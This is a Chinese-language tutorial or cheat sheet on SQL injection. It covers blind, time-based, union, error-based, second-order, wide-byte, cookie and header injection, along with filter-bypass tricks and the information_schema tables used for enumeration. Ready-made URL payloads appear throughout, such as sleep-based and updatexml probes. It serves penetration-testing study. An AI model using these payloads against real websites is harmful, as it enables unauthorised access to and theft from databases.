1布尔盲注 返回结果只有正确或错误
1.1构造比较语句可以判断出数据库库名的长度
例: ?id=1 and length (database()) >= 1 --+
?id=1 and length (database()) <= 10 --+
根据返回界面显示是否正常,从两边向中间逼近判断出正确的长度
1.2利用substr()逐个截取得到库名,mid()也可以用于截取
例: ?id=1 and substr(database(),1,1)=‘t’ --+
判断数据库库名的第一个字母是否为t
?id=1 and substr(database(),2,1)=‘t’ --+
判断数据库库名的第二个字母是否为t
1.3利用ascii码转换后也可以通过比较得到库名,ord()也可以转码
例: ?id=1 and ascii(substr((select database()),1,1))> 100 --+
参考上一种,这里是把数据库库名的第一个字母的ascii值取出来和100比
1.2和1.3的区别在于数据类型不同,1.2是字符型,1.3是数字型
2时间盲注,不能根据页面返回内容判断任何信息,用条件语句查看时间延迟语句是否执行来判断。
需用if(expr1,expr2,expr3) 判断语句
如果expr1正确就执行expr2如果错误执行expr3
例: ?id=1' and if(length(database())=8,0,sleep(5))--+
如果数据库库名长度不为8,页面就会延时5秒返回
3堆叠查询注入,执行多条语句
例: ?id=1’;select if(length(database())=8,0,sleep(5))--+
4 联合查询注入,union联合查询
例: ?id=-1 union select 1,2,3 --+
5 报错注入,查看报错信息
例: ?id=1' or extractvalue(1,concat(user(),0x7e,version()))
?id=1' or updatexml(1,concat(0x7e,(select database()))
0x7e为ascii编码,解码为~
6 二次注入
所需条件:(1)用户向数据库插入恶意语句
(2)数据库对自己存储的数据直接取出恶意数据给用户
例: 已知登录账号为admin 我们注册新账号admin’#
修改admin’#的密码其中’#被认为是sql语句
然后发现admin的密码被修改了admin’#的密码却没有变
7 宽字节注入
所需条件:程序员设置MySQL连接时的错误配置set character_set_client=gbk
原理:正常情况下GPC开启或者使用addslashes函数过滤GET或POST提交的参数时,我们测试输入的',就会被转义为\';
若存在宽字节注入,输入%df%27时,经过单引号的转义变成了%df%5c%27,之后再数据库查询语句进行GBK多字节编码,
即一个中文占用两个字节,一个英文同样占 用两个字节且在汉字编码范围内两个编码为一个汉字。
然后MySQL服务器会对查询语句进行GBK编码即%df%5c转换成汉字"運",单引号逃逸出来,从而绕过转义造成注入漏洞
8 cookie 注入
例: 目标网站为asp?id=1
将地址栏改为javascript:alert(document.cookie="id="+escape("1"));
出现id=1的弹窗,再访问asp?也能正常看到页面
原理:request("参数名称"),当使用这样的方式获取数据时,ASP规定是按QueryString、Form、Cookies、ServerVariables的顺序来获取数据的。
9 base64 注入
所需条件:传递参数经过base64编码
10 XFF 注入
http请求头X-Forwarder-for表示客户端真实ip,可伪造ip
可构造sql注入语句
1 大小写绕过
2 双写绕过
3 url编码绕过
4 内联注释绕过
MySQL 5.0 之后的版本默认在数据库中存在“information_schema”
三个表名“SCHEMATA”,“TABLES”,“COLUMNS”
SCHEMATA 存放的是该用户创建的所有数据库的库名,字段“SCHEMA_NAME”
TABLES 存放的是该用户创建的所有数据库的库名TABLE_SCHEMA和表名TABLE_NAME
COLUMNS 存放的是该用户创建的所有数据库的库名TABLE_SCHEMA,表名TABLE_NAME和字段名COLUMN_NAME
注释可以在sql注入时干扰并绕过
注释 #或/**/或- -空格 第三种注释在url里就是- -+
内联注释 /*! code */
几种框架
ASP + Access + IIS 5.0/6.0 + Windows Sever 2003
ASPX + MSSQL + IIS 7.0/7.5 + Windows Sever 2008
PHP + MySQL + IIS
PHP + MySQL + Apache
PHP + MySQL + Ngnix
JSP + MySQL + Ngnix
JSP + MSSQL + Tomcat
JSP + Oracle + Tomcat
SQL注入篇-网络渗透
最新推荐文章于 2024-07-31 10:04:13 发布